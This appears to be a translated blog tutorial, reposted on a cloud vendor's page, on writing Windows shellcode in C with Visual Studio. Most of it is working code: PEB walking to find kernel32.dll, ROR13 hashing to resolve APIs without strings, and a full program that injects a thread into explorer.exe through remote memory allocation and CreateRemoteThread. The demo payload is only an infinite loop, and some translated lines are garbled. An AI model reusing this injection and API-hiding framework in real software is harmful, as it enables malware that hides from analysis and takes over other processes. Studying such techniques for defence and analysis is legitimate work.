Use the C compiler to compile shellcode

Source: Internet
Author: User

Background
Sometimes programmers need to write code independent of location operations, which can be written to other processes or networks as a piece of data. This type of code was called shellcode at the beginning of its birth. hackers in software exploitation obtained shell permissions. The method is to execute the code in one way or in another way to fulfill its mission. Of course, the code can only rely on itself, and the author cannot use modern software development practices to facilitate shellcode writing.
Compilation is often used to write shellcode, especially when the code size is picky, compilation is a good choice. For me, most projects require code similar to other processes that can be injected. At this time, I am not particularly concerned about the code size, but the development efficiency and debugging capabilities are particularly important. At the beginning, I used NASM to write an independent assembler, convert the obtained output file to a C array, and then integrate it into my program. This is exactly what you see on websites like milw0rm. Most of the methods for obtaining the exploit payload are. In the end, I am tired of this method. Although I miss NASM's complete functions, I still began to use inline assembly to solve the problem. With the accumulation of experience, I found a completely available method for pure C Development of shellcode, only two inline assembly commands are required. In terms of the development speed and the context when debugging shellcode, it is really much better than simply using the assembly method. I am unambiguous when using a machine-level debugger such as ollydbg, but it is a piece of cake compared to debugging the C source code with the Visual Studio debugger.
Preparations
To ensure that code can be generated as a specific format such as shellcode, we need to make some special configuration for Visual Studio. The following configurations may be changed as the compiler changes:
1. Use the Release mode. Recently, the Debug mode of the compiler may generate reverse functions and insert many location-related calls.
2. Disable optimization. By default, the compiler optimizes unused functions, which may be exactly what we need.
3. Disable stack buffer security check (/Gs ). The stack check function called at the beginning and end of the function exists in a specific position of the binary file, so that the output function cannot be relocated, Which is meaningless to shellcode.
FirstShellcode
 

#include <stdio.h>  void shell_code(){    for (;;)        ;}  void __declspec(naked) END_SHELLCODE(void) {}  int main(int argc, char *argv[]){    int sizeofshellcode = (int)END_SHELLCODE - (int)shell_code;      // Show some info about our shellcode buffer    printf("Shellcode starts at %p and is %d bytes long", shell_code. sizeofshellcode);      // Now we can test out the shellcode by calling it from C!    shell_code();      return 0;}

In addition to an infinite loop, shellcode in this example has nothing to do. However, it is important to put the END_SHELLCODE after the shell_code function. With this, we can determine the shellcode length through the distance between the start of the shell_code function and the start of the END_SHELLCODE function. Also, the advantage of C language is that we can access the program as a piece of data, so if we need to write shellcode to another file, you only need to call fwrite (shell_code, sizeofshellcode, 1, filehandle ).
In the Visual Studio environment, you can easily debug shellcode by calling the shell_code function and using IDE debugging skills.
In the first small case shown above, shellcode only uses one function. In fact, we can use many functions. Only all functions need to be stored consecutively between shell_code function and END_SHELLCODE function. This is because the call command is always relative when called between internal functions. The call command indicates "calling a function from X bytes from here ". Therefore, if we copy the code for executing the call and the called code to other places and ensure the relative distance between them, the link will not go wrong.
Shellcode Data Usage in
In traditional C source code, if you want to use a piece of data such as ASCII characters, you can embed it directly without worrying about data storage, such as winexec(evil.exe "). In this example, the evil.exe string is stored in the static area of the C program (probably binary. in rdata), if we copy this code and try to inject it into other processes, it will fail because the character does not exist in a specific location of other processes. Shellcode compiled by Traditional compilation can easily use data, which gets a pointer to the code by using the call command, and this Code may be mixed with data. The following is a shellcode WinExec call implemented by assembly:
 
call end_of_stringdb 'evil.exe',0end_of_string:call WinExec

In this example, the first callinstruction jumps through ”data ”evial.exe "and stores a pointer to the string at the top of the stack. It will be used as a parameter of the WinExec function later. This novel method of using data has a high space utilization, but it is a pity that there is no direct call equivalent to this in C. When writing shellcode in C, we recommend that you use the stack area to store and use strings. To enable the Microsoft compiler to dynamically allocate characters on the stack for relocation, you need to handle the following:
 
char mystring[] = {'e','v','i','l','.','e','x','e',0};winexec(mystring);

You will find that I declare the string as a character array. If I write char mystring [] = “evil.exe "in this way, in the old Microsoft compiler, it uses a series of mov commands to form a string, now, the string is simply copied from a fixed position in the memory to the stack. If you need to relocate the code, this will be ineffective. Try both methods. Download the free IDA Pro version to see their disassembly code. The disassembly of the above value assignment statement should look as follows:
 
mov [ebp+mystring], 65hmov [ebp+mystring+1], 76hmov [ebp+mystring+2], 69hmov [ebp+mystring+3], 6Chmov [ebp+mystring+4], 2Ehmov [ebp+mystring+5], 65hmov [ebp+mystring+6], 78hmov [ebp+mystring+7], 65hmov [ebp+mystring+8], 0

When processing data, strings are really a headache. Other functions such as struct, enumeration, typedef declaration, and function pointer can work as expected. You can use the full set of functions provided by C. Make sure that the data is a local variable and everything is OK.
Use library functions
I will focus on shellcode in Windows. The rules mentioned above also apply to Unix systems. Shellcode in a Windows environment is more complex, because we do not have a publicly available method for system calling, just like in Unix, only a few pieces of assembly code are required (calls to int 80 h ). We need to use the API functions provided in DLL to call the system and do something like reading and writing files and network communication. These DLL will eventually make necessary system calls, and Its Implementation Details almost change with every Windows release. The advertised book like The Shellcoder's Handbook depicts The methods for searching for DLL and functions in The memory. To make shellcode portable between different Windows versions, two functions are required: 1. Find the kernel32.dll function; 2. Implement the GetProcAddress () function or find the GetProcAddress () function () address function. The implementation I provide is based on hash rather than string comparison. Below I will provide the hash implementation for shellcode and give a brief description.
Hash Function
In shellcode, it is common to use hash to query functions. The popular ROR13 hash method is The most commonly used, and its implementation is also used in The Shellcoder's Handbook. The basic idea is that when we want to query a function named "MyFunction", we do not store the string in the memory and compare each function name, instead, a 32-bit hash value is generated to compare each function name with the hash value. This does not reduce the running time, but it can save the shellcode space and has a certain anti-reverse effect. The following provides the ROR13 hash implementation for the ASCII and Unicode versions:
 
DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string){    DWORD hash = 0;      while (*unicode_string != 0)    {        DWORD val = (DWORD)*unicode_string++;        hash = (hash >> 13) | (hash << 19); // ROR 13        hash += val;    }    return hash;}  DWORD __stdcall ror13_hash(const char *string){    DWORD hash = 0;      while (*string) {        DWORD val = (DWORD) *string++;        hash = (hash >> 13)|(hash << 19);  // ROR 13        hash += val;    }    return hash;}

Search DLL
Three linked lists can be used to describe the DLL loaded in the memory:
InMemoryOrderModuleList, InInitializationOrderModuleList, and InLoadOrderModuleList. They are all in the PEB (process environment block. Which one can be used in your shellcode? I use InMemoryOrderModuleList. The following two pieces of inline assembly are required to access PEB:
 
PPEB __declspec(naked) get_peb(void){    __asm {        mov eax, fs:[0x30]        ret    }}

Now we have obtained PEB and can query the DLL in the memory. The only DLL that always exists in the Windows Process Memory is ntdll. dll, but kernel32.dll is more convenient and available in Windows 99.99% (Win32 subsystem. The code implementation provided below will query the module list and use the ROR13 hash value of unicode to find kernel32.dll.
 
HMODULE __stdcall find_kernel32(void){    return find_module_by_hash(0x8FECD63F);}  HMODULE __stdcall find_module_by_hash(DWORD hash){    PPEB peb;    LDR_DATA_TABLE_ENTRY *module_ptr, *first_mod;      peb = get_peb();      module_ptr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink;    first_mod = module_ptr;      do {        if (unicode_ror13_hash((WCHAR *)module_ptr->FullDllName.Buffer) == hash)            return (HMODULE)module_ptr->Reserved2[0];        else            module_ptr = (PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0];    } while (module_ptr && module_ptr != first_mod);   // because the list wraps,      return INVALID_HANDLE_VALUE;}

The find_module_by_hash function provided here can use the hash value of the dll name to find any DLL loaded in the memory. To load a new DLL that is no longer in memory, use the LoadLibrary function in kernel32.dll. To find the LoadLibrary function, we need to implement the GetProcAddress function. The following code finds a function using the hash value of the function name in the loaded dll:
 
FARPROC __stdcall find_function(HMODULE module, DWORD hash){    IMAGE_DOS_HEADER *dos_header;    IMAGE_NT_HEADERS *nt_headers;    IMAGE_EXPORT_DIRECTORY *export_dir;    DWORD *names, *funcs;    WORD *nameords;    int i;      dos_header = (IMAGE_DOS_HEADER *)module;    nt_headers = (IMAGE_NT_HEADERS *)((char *)module + dos_header->e_lfanew);    export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);    names = (DWORD *)((char *)module + export_dir->AddressOfNames);    funcs = (DWORD *)((char *)module + export_dir->AddressOfFunctions);    nameords = (WORD *)((char *)module + export_dir->AddressOfNameOrdinals);      for (i = 0; i < export_dir->NumberOfNames; i++)    {        char *string = (char *)module + names[i];        if (hash == ror13_hash(string))        {            WORD nameord = nameords[i];            DWORD funcrva = funcs[nameord];            return (FARPROC)((char *)module + funcrva);        }    }      return NULL;}

Now we can look for functions like this:
 
HMODULE kern32 = find_kernel32();FARPROC loadlibrarya = find_function(kern32, 0xEC0E4E8E);   // the hash of LoadLibraryA

Final finished product
Now I will present the content mentioned above in the form of a complete C program. When the code is executed, a file named shellcode. bin is generated, which stores shellcode. The shellcodecan inject a thread into assumer.exe to implement an infinite loop until the cpu consumption is complete.
 
#include <stdio.h>#include <Windows.h>#include <winternl.h>#include <wchar.h>#include <tlhelp32.h>  PPEB get_peb(void);DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string);DWORD __stdcall ror13_hash(const char *string);HMODULE __stdcall find_module_by_hash(DWORD hash);HMODULE __stdcall find_kernel32(void);FARPROC __stdcall find_function(HMODULE module, DWORD hash);HANDLE __stdcall find_process(HMODULE kern32, const char *procname);VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size);BOOL __stdcall strmatch(const char *a, const char *b);  void __stdcall shell_code(){    HMODULE kern32;    DWORD *dwptr;    HANDLE hProcess;    char procname[] = {'e','x','p','l','o','r','e','r','.','e','x','e',0};    char code[] = {0xEB, 0xFE};      kern32 = find_kernel32();    hProcess = find_process(kern32, (char *)procname);    inject_code(kern32, hProcess, code, sizeof code);}  HANDLE __stdcall find_process(HMODULE kern32, const char *procname){    FARPROC createtoolhelp32snapshot = find_function(kern32, 0xE454DFED);    FARPROC process32first = find_function(kern32, 0x3249BAA7);    FARPROC process32next = find_function(kern32, 0x4776654A);    FARPROC openprocess = find_function(kern32, 0xEFE297C0);    FARPROC createprocess = find_function(kern32, 0x16B3FE72);    HANDLE hSnapshot;    PROCESSENTRY32 pe32;      hSnapshot = (HANDLE)createtoolhelp32snapshot(TH32CS_SNAPPROCESS, 0);    if (hSnapshot == INVALID_HANDLE_VALUE)        return INVALID_HANDLE_VALUE;      pe32.dwSize = sizeof( PROCESSENTRY32 );      if (!process32first(hSnapshot, &pe32))        return INVALID_HANDLE_VALUE;      do    {        if (strmatch(pe32.szExeFile, procname))        {            return openprocess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);        }    } while (process32next(hSnapshot, &pe32));      return INVALID_HANDLE_VALUE;}  BOOL __stdcall strmatch(const char *a, const char *b){    while (*a != '' && *b != '')    {        char aA_delta = 'a' - 'A';        char a_conv = *a >= 'a' && *a <= 'z' ? *a - aA_delta : *a;        char b_conv = *b >= 'a' && *b <= 'z' ? *b - aA_delta : *b;          if (a_conv != b_conv)            return FALSE;        a++;        b++;    }      if (*b == '' && *a == '')        return TRUE;    else        return FALSE;}  VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size){    FARPROC virtualallocex = find_function(kern32, 0x6E1A959C);    FARPROC writeprocessmemory = find_function(kern32, 0xD83D6AA1);    FARPROC createremotethread = find_function(kern32, 0x72BD9CDD);    LPVOID remote_buffer;    DWORD dwNumBytesWritten;      remote_buffer = virtualallocex(hprocess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);    if (remote_buffer == NULL)        return;      if (!writeprocessmemory(hprocess, remote_buffer, code, size, &dwNumBytesWritten))        return;      createremotethread(hprocess, NULL, 0, remote_buffer, NULL, 0, NULL);}  HMODULE __stdcall find_kernel32(void){    return find_module_by_hash(0x8FECD63F);}  HMODULE __stdcall find_module_by_hash(DWORD hash){    PPEB peb;    LDR_DATA_TABLE_ENTRY *module_ptr, *first_mod;      peb = get_peb();      module_ptr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink;    first_mod = module_ptr;      do {        if (unicode_ror13_hash((WCHAR *)module_ptr->FullDllName.Buffer) == hash)            return (HMODULE)module_ptr->Reserved2[0];        else            module_ptr = (PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0];    } while (module_ptr && module_ptr != first_mod);   // because the list wraps,      return INVALID_HANDLE_VALUE;}  PPEB __declspec(naked) get_peb(void){    __asm {        mov eax, fs:[0x30]        ret    }}  DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string){    DWORD hash = 0;      while (*unicode_string != 0)    {        DWORD val = (DWORD)*unicode_string++;        hash = (hash >> 13) | (hash << 19); // ROR 13        hash += val;    }    return hash;}  DWORD __stdcall ror13_hash(const char *string){    DWORD hash = 0;      while (*string) {        DWORD val = (DWORD) *string++;        hash = (hash >> 13)|(hash << 19);  // ROR 13        hash += val;    }    return hash;}  FARPROC __stdcall find_function(HMODULE module, DWORD hash){    IMAGE_DOS_HEADER *dos_header;    IMAGE_NT_HEADERS *nt_headers;    IMAGE_EXPORT_DIRECTORY *export_dir;    DWORD *names, *funcs;    WORD *nameords;    int i;      dos_header = (IMAGE_DOS_HEADER *)module;    nt_headers = (IMAGE_NT_HEADERS *)((char *)module + dos_header->e_lfanew);    export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);    names = (DWORD *)((char *)module + export_dir->AddressOfNames);    funcs = (DWORD *)((char *)module + export_dir->AddressOfFunctions);    nameords = (WORD *)((char *)module + export_dir->AddressOfNameOrdinals);      for (i = 0; i < export_dir->NumberOfNames; i++)    {        char *string = (char *)module + names[i];        if (hash == ror13_hash(string))        {            WORD nameord = nameords[i];            DWORD funcrva = funcs[nameord];            return (FARPROC)((char *)module + funcrva);        }    }      return NULL;}  void __declspec(naked) END_SHELLCODE(void) {}  int main(int argc, char *argv[]){    FILE *output_file = fopen("shellcode.bin", "w");    fwrite(shell_code, (int)END_SHELLCODE - (int)shell_code, 1, output_file);    fclose(output_file);      return 0;}





This article is from Nick Harbour's blog "Writing Shellcode with a C Compiler" Translated by IDF lab Xu Wenbo.
 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.